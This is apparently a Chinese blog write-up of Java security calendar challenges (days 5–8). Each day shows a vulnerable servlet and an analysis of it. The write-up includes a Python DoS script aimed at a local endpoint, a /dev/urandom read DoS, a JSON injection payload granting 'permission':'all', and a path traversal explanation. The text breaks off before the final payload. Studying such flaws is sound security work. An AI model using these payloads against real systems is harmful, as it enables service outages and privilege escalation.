java_security_calendar_2019(day5-day8)

Day5

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;

public class Request {
public static String toString(HttpServletRequest req) {
StringBuilder sb = new StringBuilder();
String delimiter = req.getParameter("delim");
Enumeration<String> names = req.getParameterNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
if (!name.equals("delim")) {
sb.append("<b>" + name + "</b>:<br>");
String[] values = req.getParameterValues(name);
for (String val : values) {
sb.append(val);
sb.append(delimiter);
sb.append("<br>");
}
}
}
return sb.toString();
}
}

看了半天也没发现哪里有问题,看了下提示,这个题是StringBuilder()引发的dos,大致原因是java.util.StringBuilder中,StringBuilder对象使用大小为16的数组初始化。每次附加新值时,StringBuilder实例都会检查数据是否适合该数组。如果不合适,则数组的大小加倍。而默认情况下,Apache Tomcat的POST请求限制为2MB,最大参数为10000。将传入的delim值结合数组和多个(例如10000个)HTTP参数提交非常大的参数值(例如1.8 MB),便会引起dos攻击。
了解了漏洞原因再看这段代码就比较容易了,方法toString将收到的所有参数,进行遍历,转化为html格式。
直接写个脚本,注意先不要把参数写那么大,,,要不可能执行脚本的时候卡掉。。。慢慢的值改上去。

python写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
headers = {}
headers['User-Agent'] = 'Mozilla/5.0 ' \
'(Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 ' \
'(KHTML, like Gecko) Version/5.1 Safari/534.50'
url="http://localhost:8888/day5/Request"
delim = ""
data="delim=test"+delim
content=""

# 参数值的大小
for i in range(1,36000):
content=content+"test"
# 参数的多少
for i in range(1,500):
data=data+"&delim{index}=".format(index=i)+content
# print(data)

res=requests.post(url,headers=headers,data=data)
print(res.status_code)

当参数的值一调大以后,python脚本就报这个问题,google查了半天,发现在requests库下也有好多人提交了这个问题,也没找到合适的解决方案,不过思路应该没错。

1
requests.exceptions.ConnectionError: ('Connection aborted.', BrokenPipeError(32, 'Broken pipe'))

Day6

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;

public class ReadFile extends HttpServlet {
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws IOException {
try {
String url = request.getParameter("url");
String data = new String(Files.readAllBytes(Paths.get(url)));
} catch (IOException e) {
PrintWriter out = response.getWriter();
out.print("File not found");
out.flush();
}
//proceed with code
}
}

刚开始以为是个文件遍历,仔细一看,没有对文件进行显示,返回“文件未找到”。

原来又是一个dos。。。传入/dev/urandom,此时url对传入的值未进行任何过滤,通过Files.readAllBytes方法读取/dev/urandom下的字节,引起dos

Day7

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;

public class ApiCache extends HttpServlet {
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws IOException {
storeJson(request, "/tmp/getUserInformation.json");
}

protected void doGet(HttpServletRequest request,HttpServletResponse response) {
loadJson();
}

public static void loadJson() {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
}

public static void storeJson(HttpServletRequest request, String filename) throws IOException {
JsonFactory jsonobject = new JsonFactory();
JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
jGenerator.writeFieldName("permission");
jGenerator.writeRawValue("\"none\"");
jGenerator.writeEndObject();
jGenerator.close();
}
}

大致流程为用户传入username的值,写入到/tmp/getUserInformation.json中,然后读取该文件,进行解析。 流程很简单,肯定先关注用户输入地方,对username传入的数据未做清洗,导致可传入其他参数进行污染,在该功能下可导致权限提升。
先正常请求,返回如下:

此时json文件为:

1
2
3
4
{
"username":"111111111",
"permission":"none
}

构造恶意请求,

1
username=111111111","permission":"all

可看到用户传入username的值已正确解析成username=111111111","permission":"all

此时json文件为:

1
2
3
"username":"111111111"
"permission":"all"
"permission":"none"

注:若要成功利用此问题,该方法loadJson()必须仅反序列化每个键的第一次出现,以便忽略重复的键。

Day8

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.File;
import java.io.IOException;
import javax.servlet.http.*;

public class GetPath extends HttpServlet {
protected void doGet(HttpServletRequest request,HttpServletResponse response) throws IOException {
try {
String icons = request.getParameter("icons");
String filename = request.getParameter("filename");

File f_icons = new File(icons);
File f_filename = new File(filename);

if (!icons.equals(f_icons.getName())) {
throw new Exception("File not within target directory!");
}

if (!filename.equals(f_filename.getName())) {
throw new Exception("File not within target directory!");
}

String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
File file = new File(toDir, filename);

// Download file...
} catch(Exception e) {
response.sendRedirect("/");
}
}
}

看到两个输入点,iconsfilename均未做任何过滤,用户传入数这两个参数后,对其名字做判断,其中判断使用的是getName()方法,该方法仅能做简单../的过滤,如/../../../../hack.txt转成hack.txt。然后执行到关键代码String toDir = "/var/myapp/data/" + f_icons.getName() + "/";,发现toDir的值为/var/myapp/data/f_icons.getName()拼接而成。此时通过../的形式对传入的值做控制,从而实现可以访问/var/myapp/目录下任意文件。

稍微修改代码,让程序跑起来。执行恶意payload,